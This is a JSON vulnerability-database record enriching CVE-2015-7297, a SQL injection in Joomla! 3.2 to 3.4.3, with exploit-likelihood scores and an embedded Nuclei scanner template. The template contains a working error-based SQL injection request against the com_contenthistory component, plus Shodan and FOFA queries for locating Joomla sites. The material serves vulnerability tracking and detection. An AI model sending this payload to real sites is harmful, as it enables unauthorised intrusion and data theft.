{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2015-7297/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2015-7297/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2015-7297/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2015-7297/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2015-7297/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2015-7297/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2015-7297"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2015-7297"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": false
    },
    "epss": {
      "epss": 0.99967,
      "kev": false,
      "percentile": 0.99976
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2015/CVE-2015-7297.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2015-7297\n\ninfo:\n  name: Joomla! Core SQL Injection\n  author: princechaddha\n  severity: high\n  description: A SQL injection vulnerability in Joomla! 3.2 before 3.4.4 allows remote attackers to execute arbitrary SQL commands.\n  impact: |\n    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Joomla! CMS.\n  remediation: |\n    Apply the latest security patches and updates provided by Joomla! to mitigate the SQL Injection vulnerability.\n  reference:\n    - https://nvd.nist.gov/vuln/detail/CVE-2015-7297\n    - http://developer.joomla.org/security-centre/628-20151001-core-sql-injection.html\n    - https://www.trustwave.com/Resources/SpiderLabs-Blog/Joomla-SQL-Injection-Vulnerability-Exploit-Results-in-Full-Administrative-Access/\n    - http://packetstormsecurity.com/files/134097/Joomla-3.44-SQL-Injection.html\n    - http://packetstormsecurity.com/files/134494/Joomla-Content-History-SQL-Injection-Remote-Code-Execution.html\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2015-7297\n    cwe-id: CWE-89\n    epss-score: 0.99967\n    epss-percentile: 0.99976\n    cpe: cpe:2.3:a:joomla:joomla\\!:3.2.0:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: joomla\n    product: joomla\\!\n    shodan-query:\n      - http.html:\"joomla! - open source content management\"\n      - http.component:\"joomla\"\n      - cpe:\"cpe:2.3:a:joomla:joomla\\!\"\n    fofa-query: body=\"joomla! - open source content management\"\n  tags: cve2015,cve,packetstorm,joomla,sqli,vuln,vkev\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/index.php?option=com_contenthistory&view=history&list[ordering]=&item_id=1&type_id=1&list[select]=updatexml(0x23,concat(1,md5({{num}})),1)\"\n\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5({{num}})}}'\n# digest: 4a0a004730450220610e3611f01953b68c63c589e4b82970e0fcef6ad213dcba93037adca9ddc5c3022100f5c0c17037fbb7a3e000dd9152e138b9b0bd72b41abf8e9cd660eb2d821e657e:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2015-7297"
}